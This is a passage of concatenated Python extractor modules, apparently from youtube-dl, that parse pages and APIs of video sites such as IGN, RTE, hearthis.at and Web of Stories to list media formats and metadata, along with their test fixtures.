        'url': 'http://palyazat.indavideo.hu/video/Embertelen_dal_Dodgem_egyuttes',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)
        embed_url = self._search_regex(
            r'<link[^>]+rel="video_src"[^>]+href="(.+?)"', webpage, 'embed url')

        return {
            '_type': 'url_transparent',
            'ie_key': 'IndavideoEmbed',
            'url': embed_url,
            'display_id': display_id,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
)


class IGNIE(InfoExtractor):
    """
    Extractor for some of the IGN sites, like www.ign.com, es.ign.com de.ign.com.
    Some videos of it.ign.com are also supported
    """

    _VALID_URL = r'https?://.+?\.ign\.com/(?:[^/]+/)?(?P<type>videos|show_videos|articles|feature|(?:[^/]+/\d+/video))(/.+)?/(?P<name_or_id>.+)'
    IE_NAME = 'ign.com'

    _API_URL_TEMPLATE = 'http://apis.ign.com/video/v3/videos/%s'
    _EMBED_RE = r'<iframe[^>]+?["\']((?:https?:)?//.+?\.ign\.com.+?/embed.+?)["\']'

    _TESTS = [
        {
            'url': 'http://www.ign.com/videos/2013/06/05/the-last-of-us-review',
            'md5': 'febda82c4bafecd2d44b6e1a18a595f8',
            'info_dict': {
                'id': '8f862beef863986b2785559b9e1aa599',
                'ext': 'mp4',
                'title': 'The Last of Us Review',
                'description': 'md5:c8946d4260a4d43a00d5ae8ed998870c',
                'timestamp': 1370440800,
                'upload_date': '20130605',
                'uploader_id': 'cberidon@ign.com',
            }
        },
        {
            'url': 'http://me.ign.com/en/feature/15775/100-little-things-in-gta-5-that-will-blow-your-mind',
            'info_dict': {
                'id': '100-little-things-in-gta-5-that-will-blow-your-mind',
            },
            'playlist': [
                {
                    'info_dict': {
                        'id': '5ebbd138523268b93c9141af17bec937',
                        'ext': 'mp4',
                        'title': 'GTA 5 Video Review',
                        'description': 'Rockstar drops the mic on this generation of games. Watch our review of the masterly Grand Theft Auto V.',
                        'timestamp': 1379339880,
                        'upload_date': '20130916',
                        'uploader_id': 'danieljkrupa@gmail.com',
                    },
                },
                {
                    'info_dict': {
                        'id': '638672ee848ae4ff108df2a296418ee2',
                        'ext': 'mp4',
                        'title': '26 Twisted Moments from GTA 5 in Slow Motion',
                        'description': 'The twisted beauty of GTA 5 in stunning slow motion.',
                        'timestamp': 1386878820,
                        'upload_date': '20131212',
                        'uploader_id': 'togilvie@ign.com',
                    },
                },
            ],
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.ign.com/articles/2014/08/15/rewind-theater-wild-trailer-gamescom-2014?watch',
            'md5': '618fedb9c901fd086f6f093564ef8558',
            'info_dict': {
                'id': '078fdd005f6d3c02f63d795faa1b984f',
                'ext': 'mp4',
                'title': 'Rewind Theater - Wild Trailer Gamescom 2014',
                'description': 'Brian and Jared explore Michel Ancel\'s captivating new preview.',
                'timestamp': 1408047180,
                'upload_date': '20140814',
                'uploader_id': 'jamesduggan1990@gmail.com',
            },
        },
        {
            'url': 'http://me.ign.com/en/videos/112203/video/how-hitman-aims-to-be-different-than-every-other-s',
            'only_matching': True,
        },
        {
            'url': 'http://me.ign.com/ar/angry-birds-2/106533/video/lrd-ldyy-lwl-lfylm-angry-birds',
            'only_matching': True,
        },
    ]

    def _find_video_id(self, webpage):
        res_id = [
            r'"video_id"\s*:\s*"(.*?)"',
            r'class="hero-poster[^"]*?"[^>]*id="(.+?)"',
            r'data-video-id="(.+?)"',
            r'<object id="vid_(.+?)"',
            r'<meta name="og:image" content=".*/(.+?)-(.+?)/.+.jpg"',
        ]
        return self._search_regex(res_id, webpage, 'video id', default=None)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        name_or_id = mobj.group('name_or_id')
        page_type = mobj.group('type')
        webpage = self._download_webpage(url, name_or_id)
        if page_type != 'video':
            multiple_urls = re.findall(
                r'<param name="flashvars"[^>]*value="[^"]*?url=(https?://www\.ign\.com/videos/.*?)["&]',
                webpage)
            if multiple_urls:
                entries = [self.url_result(u, ie='IGN') for u in multiple_urls]
                return {
                    '_type': 'playlist',
                    'id': name_or_id,
                    'entries': entries,
                }

        video_id = self._find_video_id(webpage)
        if not video_id:
            return self.url_result(self._search_regex(
                self._EMBED_RE, webpage, 'embed url'))
        return self._get_video_info(video_id)

    def _get_video_info(self, video_id):
        api_data = self._download_json(
            self._API_URL_TEMPLATE % video_id, video_id)

        formats = []
        m3u8_url = api_data['refs'].get('m3uUrl')
        if m3u8_url:
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, video_id, 'mp4', 'm3u8_native',
                m3u8_id='hls', fatal=False))
        f4m_url = api_data['refs'].get('f4mUrl')
        if f4m_url:
            formats.extend(self._extract_f4m_formats(
                f4m_url, video_id, f4m_id='hds', fatal=False))
        for asset in api_data['assets']:
            formats.append({
                'url': asset['url'],
                'tbr': asset.get('actual_bitrate_kbps'),
                'fps': asset.get('frame_rate'),
                'height': int_or_none(asset.get('height')),
                'width': int_or_none(asset.get('width')),
            })
        self._sort_formats(formats)

        thumbnails = [{
            'url': thumbnail['url']
        } for thumbnail in api_data.get('thumbnails', [])]

        metadata = api_data['metadata']

        return {
            'id': api_data.get('videoId') or video_id,
            'title': metadata.get('longTitle') or metadata.get('name') or metadata.get['title'],
            'description': metadata.get('description'),
            'timestamp': parse_iso8601(metadata.get('publishDate')),
            'duration': int_or_none(metadata.get('duration')),
            'display_id': metadata.get('slug') or video_id,
            'uploader_id': metadata.get('creator'),
            'thumbnails': thumbnails,
            'formats': formats,
        }


class OneUPIE(IGNIE):
    _VALID_URL = r'https?://gamevideos\.1up\.com/(?P<type>video)/id/(?P<name_or_id>.+)\.html'
    IE_NAME = '1up.com'

    _TESTS = [{
        'url': 'http://gamevideos.1up.com/video/id/34976.html',
        'md5': 'c9cc69e07acb675c31a16719f909e347',
        'info_dict': {
            'id': '34976',
            'ext': 'mp4',
            'title': 'Sniper Elite V2 - Trailer',
            'description': 'md5:bf0516c5ee32a3217aa703e9b1bc7826',
            'timestamp': 1313099220,
            'upload_date': '20110811',
            'uploader_id': 'IGN',
        }
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        result = super(OneUPIE, self)._real_extract(url)
        result['id'] = mobj.group('name_or_id')
        return result


class PCMagIE(IGNIE):
    _VALID_URL = r'https?://(?:www\.)?pcmag\.com/(?P<type>videos|article2)(/.+)?/(?P<name_or_id>.+)'
    IE_NAME = 'pcmag'

    _EMBED_RE = r'iframe.setAttribute\("src",\s*__util.objToUrlString\("http://widgets\.ign\.com/video/embed/content.html?[^"]*url=([^"]+)["&]'

    _TESTS = [{
        'url': 'http://www.pcmag.com/videos/2015/01/06/010615-whats-new-now-is-gogo-snooping-on-your-data',
        'md5': '212d6154fd0361a2781075f1febbe9ad',
        'info_dict': {
            'id': 'ee10d774b508c9b8ec07e763b9125b91',
            'ext': 'mp4',
            'title': '010615_What\'s New Now: Is GoGo Snooping on Your Data?',
            'description': 'md5:a7071ae64d2f68cc821c729d4ded6bb3',
            'timestamp': 1420571160,
            'upload_date': '20150106',
            'uploader_id': 'cozzipix@gmail.com',
        }
    }, {
        'url': 'http://www.pcmag.com/article2/0,2817,2470156,00.asp',
        'md5': '94130c1ca07ba0adb6088350681f16c1',
        'info_dict': {
            'id': '042e560ba94823d43afcb12ddf7142ca',
            'ext': 'mp4',
            'title': 'HTC\'s Weird New Re Camera - What\'s New Now',
            'description': 'md5:53433c45df96d2ea5d0fda18be2ca908',
            'timestamp': 1412953920,
            'upload_date': '20141010',
            'uploader_id': 'chris_snyder@pcmag.com',
        }
    }]






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class WebOfStoriesIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?webofstories\.com/play/(?:[^/]+/)?(?P<id>[0-9]+)'
    _VIDEO_DOMAIN = 'http://eu-mobile.webofstories.com/'
    _GREAT_LIFE_STREAMER = 'rtmp://eu-cdn1.webofstories.com/cfx/st/'
    _USER_STREAMER = 'rtmp://eu-users.webofstories.com/cfx/st/'
    _TESTS = [{
        'url': 'http://www.webofstories.com/play/hans.bethe/71',
        'md5': '373e4dd915f60cfe3116322642ddf364',
        'info_dict': {
            'id': '4536',
            'ext': 'mp4',
            'title': 'The temperature of the sun',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'Hans Bethe talks about calculating the temperature of the sun',
            'duration': 238,
        }
    }, {
        'url': 'http://www.webofstories.com/play/55908',
        'md5': '2985a698e1fe3211022422c4b5ed962c',
        'info_dict': {
            'id': '55908',
            'ext': 'mp4',
            'title': 'The story of Gemmata obscuriglobus',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'Planctomycete talks about The story of Gemmata obscuriglobus',
            'duration': 169,
        },
        'skip': 'notfound',
    }, {
        # malformed og:title meta
        'url': 'http://www.webofstories.com/play/54215?o=MS',
        'info_dict': {
            'id': '54215',
            'ext': 'mp4',
            'title': '"A Leg to Stand On"',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'Oliver Sacks talks about the death and resurrection of a limb',
            'duration': 97,
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        # Sometimes og:title meta is malformed
        title = self._og_search_title(webpage, default=None) or self._html_search_regex(
            r'(?s)<strong>Title:\s*</strong>(.+?)<', webpage, 'title')
        description = self._html_search_meta('description', webpage)
        thumbnail = self._og_search_thumbnail(webpage)

        embed_params = [s.strip(" \r\n\t'") for s in self._search_regex(
            r'(?s)\$\("#embedCode"\).html\(getEmbedCode\((.*?)\)',
            webpage, 'embed params').split(',')]

        (
            _, speaker_id, story_id, story_duration,
            speaker_type, great_life, _thumbnail, _has_subtitles,
            story_filename, _story_order) = embed_params

        is_great_life_series = great_life == 'true'
        duration = int_or_none(story_duration)

        # URL building, see: http://www.webofstories.com/scripts/player.js
        ms_prefix = ''
        if speaker_type.lower() == 'ms':
            ms_prefix = 'mini_sites/'

        if is_great_life_series:
            mp4_url = '{0:}lives/{1:}/{2:}.mp4'.format(
                self._VIDEO_DOMAIN, speaker_id, story_filename)
            rtmp_ext = 'flv'
            streamer = self._GREAT_LIFE_STREAMER
            play_path = 'stories/{0:}/{1:}'.format(
                speaker_id, story_filename)
        else:
            mp4_url = '{0:}{1:}{2:}/{3:}.mp4'.format(
                self._VIDEO_DOMAIN, ms_prefix, speaker_id, story_filename)
            rtmp_ext = 'mp4'
            streamer = self._USER_STREAMER
            play_path = 'mp4:{0:}{1:}/{2}.mp4'.format(
                ms_prefix, speaker_id, story_filename)

        formats = [{
            'format_id': 'mp4_sd',
            'url': mp4_url,
        }, {
            'format_id': 'rtmp_sd',
            'page_url': url,
            'url': streamer,
            'ext': rtmp_ext,
            'play_path': play_path,
        }]

        self._sort_formats(formats)

        return {
            'id': story_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
            'description': description,
            'duration': duration,
        }


class WebOfStoriesPlaylistIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?webofstories\.com/playAll/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://www.webofstories.com/playAll/donald.knuth',
        'info_dict': {
            'id': 'donald.knuth',
            'title': 'Donald Knuth (Scientist)',
        },
        'playlist_mincount': 97,
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        entries = [
            self.url_result('http://www.webofstories.com/play/%s' % video_number, 'WebOfStories')
            for video_number in set(re.findall('href="/playAll/%s\?sId=(\d+)"' % playlist_id, webpage))
        ]

        title = self._search_regex(
            r'<div id="speakerName">\s*<span>([^<]+)</span>',
            webpage, 'speaker', default=None)
        if title:
            field = self._search_regex(
                r'<span id="primaryField">([^<]+)</span>',
                webpage, 'field', default=None)
            if field:
                title += ' (%s)' % field

        if not title:
            title = self._search_regex(
                r'<title>Play\s+all\s+stories\s*-\s*([^<]+)\s*-\s*Web\s+of\s+Stories</title>',
                webpage, 'title')

        return self.playlist_result(entries, playlist_id, title)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class GPUTechConfIE(InfoExtractor):
    _VALID_URL = r'https?://on-demand\.gputechconf\.com/gtc/2015/video/S(?P<id>\d+)\.html'
    _TEST = {
        'url': 'http://on-demand.gputechconf.com/gtc/2015/video/S5156.html',
        'md5': 'a8862a00a0fd65b8b43acc5b8e33f798',
        'info_dict': {
            'id': '5156',
            'ext': 'mp4',
            'title': 'Coordinating More Than 3 Million CUDA Threads for Social Network Analysis',
            'duration': 1219,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        root_path = self._search_regex(
            r'var\s+rootPath\s*=\s*"([^"]+)', webpage, 'root path',
            default='http://evt.dispeak.com/nvidia/events/gtc15/')
        xml_file_id = self._search_regex(
            r'var\s+xmlFileId\s*=\s*"([^"]+)', webpage, 'xml file id')

        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': '%sxml/%s.xml' % (root_path, xml_file_id),
            'ie_key': 'DigitallySpeaking',
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    int_or_none,
    float_or_none,
    mimetype2ext,
)


class OnionStudiosIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?onionstudios\.com/(?:videos/[^/]+-|embed\?.*\bid=)(?P<id>\d+)(?!-)'

    _TESTS = [{
        'url': 'http://www.onionstudios.com/videos/hannibal-charges-forward-stops-for-a-cocktail-2937',
        'md5': 'e49f947c105b8a78a675a0ee1bddedfe',
        'info_dict': {
            'id': '2937',
            'ext': 'mp4',
            'title': 'Hannibal charges forward, stops for a cocktail',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'The A.V. Club',
            'uploader_id': 'the-av-club',
        },
    }, {
        'url': 'http://www.onionstudios.com/embed?id=2855&autoplay=true',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//(?:www\.)?onionstudios\.com/embed.+?)\1', webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video_data = self._download_json(
            'http://www.onionstudios.com/video/%s.json' % video_id, video_id)

        title = video_data['title']

        formats = []
        for source in video_data.get('sources', []):
            source_url = source.get('url')
            if not source_url:
                continue
            ext = mimetype2ext(source.get('content_type')) or determine_ext(source_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    source_url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))
            else:
                tbr = int_or_none(source.get('bitrate'))
                formats.append({
                    'format_id': ext + ('-%d' % tbr if tbr else ''),
                    'url': source_url,
                    'width': int_or_none(source.get('width')),
                    'tbr': tbr,
                    'ext': ext,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': video_data.get('poster_url'),
            'uploader': video_data.get('channel_name'),
            'uploader_id': video_data.get('channel_slug'),
            'duration': float_or_none(video_data.get('duration', 1000)),
            'tags': video_data.get('tags'),
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class InaIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ina\.fr/video/(?P<id>I?[A-Z0-9]+)'
    _TEST = {
        'url': 'http://www.ina.fr/video/I12055569/francois-hollande-je-crois-que-c-est-clair-video.html',
        'md5': 'a667021bf2b41f8dc6049479d9bb38a3',
        'info_dict': {
            'id': 'I12055569',
            'ext': 'mp4',
            'title': 'François Hollande "Je crois que c\'est clair"',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        video_id = mobj.group('id')
        mrss_url = 'http://player.ina.fr/notices/%s.mrss' % video_id
        info_doc = self._download_xml(mrss_url, video_id)

        self.report_extraction(video_id)

        video_url = info_doc.find('.//{http://search.yahoo.com/mrss/}player').attrib['url']

        return {
            'id': video_id,
            'url': video_url,
            'title': info_doc.find('.//title').text,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class EHowIE(InfoExtractor):
    IE_NAME = 'eHow'
    _VALID_URL = r'https?://(?:www\.)?ehow\.com/[^/_?]*_(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.ehow.com/video_12245069_hardwood-flooring-basics.html',
        'md5': '9809b4e3f115ae2088440bcb4efbf371',
        'info_dict': {
            'id': '12245069',
            'ext': 'flv',
            'title': 'Hardwood Flooring Basics',
            'description': 'Hardwood flooring may be time consuming, but its ultimately a pretty straightforward concept. Learn about hardwood flooring basics with help from a hardware flooring business owner in this free video...',
            'uploader': 'Erick Nathan',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        video_url = self._search_regex(
            r'(?:file|source)=(http[^\'"&]*)', webpage, 'video URL')
        final_url = compat_urllib_parse_unquote(video_url)
        uploader = self._html_search_meta('uploader', webpage)
        title = self._og_search_title(webpage).replace(' | eHow', '')

        return {
            'id': video_id,
            'url': final_url,
            'title': title,
            'thumbnail': self._og_search_thumbnail(webpage),
            'description': self._og_search_description(webpage),
            'uploader': uploader,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    HEADRequest,
    KNOWN_EXTENSIONS,
    sanitized_Request,
    str_to_int,
    urlencode_postdata,
    urlhandle_detect_ext,
)


class HearThisAtIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?hearthis\.at/(?P<artist>[^/]+)/(?P<title>[A-Za-z0-9\-]+)/?$'
    _PLAYLIST_URL = 'https://hearthis.at/playlist.php'
    _TESTS = [{
        'url': 'https://hearthis.at/moofi/dr-kreep',
        'md5': 'ab6ec33c8fed6556029337c7885eb4e0',
        'info_dict': {
            'id': '150939',
            'ext': 'wav',
            'title': 'Moofi - Dr. Kreep',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1421564134,
            'description': 'Listen to Dr. Kreep by Moofi on hearthis.at - Modular, Eurorack, Mutable Intruments Braids, Valhalla-DSP',
            'upload_date': '20150118',
            'comment_count': int,
            'view_count': int,
            'like_count': int,
            'duration': 71,
            'categories': ['Experimental'],
        }
    }, {
        # 'download' link redirects to the original webpage
        'url': 'https://hearthis.at/twitchsf/dj-jim-hopkins-totally-bitchin-80s-dance-mix/',
        'md5': '5980ceb7c461605d30f1f039df160c6e',
        'info_dict': {
            'id': '811296',
            'ext': 'mp3',
            'title': 'TwitchSF - DJ Jim Hopkins -  Totally Bitchin\' 80\'s Dance Mix!',
            'description': 'Listen to DJ Jim Hopkins -  Totally Bitchin\' 80\'s Dance Mix! by TwitchSF on hearthis.at - Dance',
            'upload_date': '20160328',
            'timestamp': 1459186146,
            'thumbnail': 're:^https?://.*\.jpg$',
            'comment_count': int,
            'view_count': int,
            'like_count': int,
            'duration': 4360,
            'categories': ['Dance'],
        },
    }]

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        display_id = '{artist:s} - {title:s}'.format(**m.groupdict())

        webpage = self._download_webpage(url, display_id)
        track_id = self._search_regex(
            r'intTrackId\s*=\s*(\d+)', webpage, 'track ID')

        payload = urlencode_postdata({'tracks[]': track_id})
        req = sanitized_Request(self._PLAYLIST_URL, payload)
        req.add_header('Content-type', 'application/x-www-form-urlencoded')

        track = self._download_json(req, track_id, 'Downloading playlist')[0]
        title = '{artist:s} - {title:s}'.format(**track)

        categories = None
        if track.get('category'):
            categories = [track['category']]

        description = self._og_search_description(webpage)
        thumbnail = self._og_search_thumbnail(webpage)

        meta_span = r'<span[^>]+class="%s".*?</i>([^<]+)</span>'
        view_count = str_to_int(self._search_regex(
            meta_span % 'plays_count', webpage, 'view count', fatal=False))
        like_count = str_to_int(self._search_regex(
            meta_span % 'likes_count', webpage, 'like count', fatal=False))
        comment_count = str_to_int(self._search_regex(
            meta_span % 'comment_count', webpage, 'comment count', fatal=False))
        duration = str_to_int(self._search_regex(
            r'data-length="(\d+)', webpage, 'duration', fatal=False))
        timestamp = str_to_int(self._search_regex(
            r'<span[^>]+class="calctime"[^>]+data-time="(\d+)', webpage, 'timestamp', fatal=False))

        formats = []
        mp3_url = self._search_regex(
            r'(?s)<a class="player-link"\s+(?:[a-zA-Z0-9_:-]+="[^"]+"\s+)*?data-mp3="([^"]+)"',
            webpage, 'mp3 URL', fatal=False)
        if mp3_url:
            formats.append({
                'format_id': 'mp3',
                'vcodec': 'none',
                'acodec': 'mp3',
                'url': mp3_url,
            })
        download_path = self._search_regex(
            r'<a class="[^"]*download_fct[^"]*"\s+href="([^"]+)"',
            webpage, 'download URL', default=None)
        if download_path:
            download_url = compat_urlparse.urljoin(url, download_path)
            ext_req = HEADRequest(download_url)
            ext_handle = self._request_webpage(
                ext_req, display_id, note='Determining extension')
            ext = urlhandle_detect_ext(ext_handle)
            if ext in KNOWN_EXTENSIONS:
                formats.append({
                    'format_id': 'download',
                    'vcodec': 'none',
                    'ext': ext,
                    'url': download_url,
                    'preference': 2,  # Usually better quality
                })
        self._sort_formats(formats)

        return {
            'id': track_id,
            'display_id': display_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'view_count': view_count,
            'comment_count': comment_count,
            'like_count': like_count,
            'categories': categories,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    parse_iso8601,
    unescapeHTML,
)


class RteIE(InfoExtractor):
    IE_NAME = 'rte'
    IE_DESC = 'Raidió Teilifís Éireann TV'
    _VALID_URL = r'https?://(?:www\.)?rte\.ie/player/[^/]{2,3}/show/[^/]+/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.rte.ie/player/ie/show/iwitness-862/10478715/',
        'info_dict': {
            'id': '10478715',
            'ext': 'flv',
            'title': 'Watch iWitness  online',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'iWitness : The spirit of Ireland, one voice and one minute at a time.',
            'duration': 60.046,
        },
        'params': {
            'skip_download': 'f4m fails with --test atm'
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = self._og_search_title(webpage)
        description = self._html_search_meta('description', webpage, 'description')
        duration = float_or_none(self._html_search_meta(
            'duration', webpage, 'duration', fatal=False), 1000)

        thumbnail = None
        thumbnail_meta = self._html_search_meta('thumbnail', webpage)
        if thumbnail_meta:
            thumbnail_id = self._search_regex(
                r'uri:irus:(.+)', thumbnail_meta,
                'thumbnail id', fatal=False)
            if thumbnail_id:
                thumbnail = 'http://img.rasset.ie/%s.jpg' % thumbnail_id

        feeds_url = self._html_search_meta('feeds-prefix', webpage, 'feeds url') + video_id
        json_string = self._download_json(feeds_url, video_id)

        # f4m_url = server + relative_url
        f4m_url = json_string['shows'][0]['media:group'][0]['rte:server'] + json_string['shows'][0]['media:group'][0]['url']
        f4m_formats = self._extract_f4m_formats(f4m_url, video_id)
        self._sort_formats(f4m_formats)

        return {
            'id': video_id,
            'title': title,
            'formats': f4m_formats,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
        }


class RteRadioIE(InfoExtractor):
    IE_NAME = 'rte:radio'
    IE_DESC = 'Raidió Teilifís Éireann radio'
    # Radioplayer URLs have two distinct specifier formats,
    # the old format #!rii=<channel_id>:<id>:<playable_item_id>:<date>:
    # the new format #!rii=b<channel_id>_<id>_<playable_item_id>_<date>_
    # where the IDs are int/empty, the date is DD-MM-YYYY, and the specifier may be truncated.
    # An <id> uniquely defines an individual recording, and is the only part we require.
    _VALID_URL = r'https?://(?:www\.)?rte\.ie/radio/utils/radioplayer/rteradioweb\.html#!rii=(?:b?[0-9]*)(?:%3A|:|%5F|_)(?P<id>[0-9]+)'

    _TESTS = [{
        # Old-style player URL; HLS and RTMPE formats
        'url': 'http://www.rte.ie/radio/utils/radioplayer/rteradioweb.html#!rii=16:10507902:2414:27-12-2015:',
        'info_dict': {
            'id': '10507902',
            'ext': 'mp4',
            'title': 'Gloria',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': 'md5:9ce124a7fb41559ec68f06387cabddf0',
            'timestamp': 1451203200,
            'upload_date': '20151227',
            'duration': 7230.0,
        },
        'params': {
            'skip_download': 'f4m fails with --test atm'
        }
    }, {
        # New-style player URL; RTMPE formats only
        'url': 'http://rte.ie/radio/utils/radioplayer/rteradioweb.html#!rii=b16_3250678_8861_06-04-2012_',
        'info_dict': {
            'id': '3250678',
            'ext': 'flv',
            'title': 'The Lyric Concert with Paul Herriott',
            'thumbnail': 're:^https?://.*\.jpg$',
            'description': '',
            'timestamp': 1333742400,
            'upload_date': '20120406',
            'duration': 7199.016,
        },
        'params': {
            'skip_download': 'f4m fails with --test atm'
        }
    }]

    def _real_extract(self, url):
        item_id = self._match_id(url)

        json_string = self._download_json(
            'http://www.rte.ie/rteavgen/getplaylist/?type=web&format=json&id=' + item_id,
            item_id)

        # NB the string values in the JSON are stored using XML escaping(!)
        show = json_string['shows'][0]
        title = unescapeHTML(show['title'])
        description = unescapeHTML(show.get('description'))
        thumbnail = show.get('thumbnail')
        duration = float_or_none(show.get('duration'), 1000)
        timestamp = parse_iso8601(show.get('published'))

        mg = show['media:group'][0]

        formats = []

        if mg.get('url'):
            m = re.match(r'(?P<url>rtmpe?://[^/]+)/(?P<app>.+)/(?P<playpath>mp4:.*)', mg['url'])
            if m:
                m = m.groupdict()
                formats.append({
                    'url': m['url'] + '/' + m['app'],
                    'app': m['app'],
                    'play_path': m['playpath'],
                    'player_url': url,
                    'ext': 'flv',
                    'format_id': 'rtmp',
                })

        if mg.get('hls_server') and mg.get('hls_url'):
            formats.extend(self._extract_m3u8_formats(
                mg['hls_server'] + mg['hls_url'], item_id, 'mp4',
                entry_protocol='m3u8_native', m3u8_id='hls', fatal=False))

        if mg.get('hds_server') and mg.get('hds_url'):
            formats.extend(self._extract_f4m_formats(
                mg['hds_server'] + mg['hds_url'], item_id,
                f4m_id='hds', fatal=False))

        self._sort_formats(formats)

        return {
            'id': item_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'timestamp': timestamp,
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class CloserToTruthIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?closertotruth\.com/(?:[^/]+/)*(?P<id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://closertotruth.com/series/solutions-the-mind-body-problem#video-3688',
        'info_dict': {
            'id': '0_zof1ktre',
            'display_id': 'solutions-the-mind-body-problem',
            'ext': 'mov',
            'title': 'Solutions to the Mind-Body Problem?',
            'upload_date': '20140221',
            'timestamp': 1392956007,
            'uploader_id': 'CTTXML'
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://closertotruth.com/episodes/how-do-brains-work',
        'info_dict': {
            'id': '0_iuxai6g6',
            'display_id': 'how-do-brains-work',
            'ext': 'mov',
            'title': 'How do Brains Work?',
            'upload_date': '20140221',
            'timestamp': 1392956024,
            'uploader_id': 'CTTXML'
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://closertotruth.com/interviews/1725',
        'info_dict': {
            'id': '1725',
            'title': 'AyaFr-002',
        },
        'playlist_mincount': 2,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        partner_id = self._search_regex(
            r'<script[^>]+src=["\'].*?\b(?:partner_id|p)/(\d+)',
            webpage, 'kaltura partner_id')

        title = self._search_regex(
            r'<title>(.+?)\s*\|\s*.+?</title>', webpage, 'video title')

        select = self._search_regex(
            r'(?s)<select[^>]+id="select-version"[^>]*>(.+?)</select>',
            webpage, 'select version', default=None)
        if select:
            entry_ids = set()
            entries = []
            for mobj in re.finditer(
                    r'<option[^>]+value=(["\'])(?P<id>[0-9a-z_]+)(?:#.+?)?\1[^>]*>(?P<title>[^<]+)',
                    webpage):
                entry_id = mobj.group('id')
                if entry_id in entry_ids:
                    continue
                entry_ids.add(entry_id)
                entries.append({
                    '_type': 'url_transparent',
                    'url': 'kaltura:%s:%s' % (partner_id, entry_id),
                    'ie_key': 'Kaltura',
                    'title': mobj.group('title'),
                })
            if entries:
                return self.playlist_result(entries, display_id, title)

        entry_id = self._search_regex(
            r'<a[^>]+id=(["\'])embed-kaltura\1[^>]+data-kaltura=(["\'])(?P<id>[0-9a-z_]+)\2',
            webpage, 'kaltura entry_id', group='id')

        return {
            '_type': 'url_transparent',
            'display_id': display_id,
            'url': 'kaltura:%s:%s' % (partner_id, entry_id),
            'ie_key': 'Kaltura',
            'title': title
        }






# -*- coding: utf-8 -*-

from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import js_to_json


class HelsinkiIE(InfoExtractor):
    IE_DESC = 'helsinki.fi'
    _VALID_URL = r'https?://video\.helsinki\.fi/Arkisto/flash\.php\?id=(?P<id>\d+)'
    _TEST = {
        'url': 'http://video.helsinki.fi/Arkisto/flash.php?id=20258',
        'info_dict': {
            'id': '20258',
            'ext': 'mp4',
            'title': 'Tietotekniikkafoorumi-iltapäivä',
            'description': 'md5:f5c904224d43c133225130fe156a5ee0',
        },
        'params': {
            'skip_download': True,  # RTMP
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        params = self._parse_json(self._html_search_regex(
            r'(?s)jwplayer\("player"\).setup\((\{.*?\})\);',
